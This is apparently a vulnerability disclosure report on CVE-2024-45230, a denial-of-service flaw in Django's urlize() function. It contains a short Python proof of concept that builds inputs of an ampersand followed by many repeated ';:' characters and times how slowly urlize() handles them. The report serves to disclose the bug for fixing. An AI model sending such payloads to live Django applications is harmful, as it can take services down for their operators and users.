CVE-2024-45230 - Potential denial-of-service in django.utils.html.urlize() (Another pattern)

This one is similar to https://hackerone.com/reports/2795558, but I found the DoS vulnerability by putting an ampersand character beside repeated `;:` characters. This is the PoC that I used:

import django.utils.html
from time import time

print("=== django.utils.html.urlize('&' + ';:' * n) ===")
for i in range(0,600000, 40000):
    start = time()
    pattern = ';:'
    PAYLOAD = '&' + pattern * i
    django.utils.html.urlize(PAYLOAD)
    print(len(PAYLOAD), "\t", time() - start) …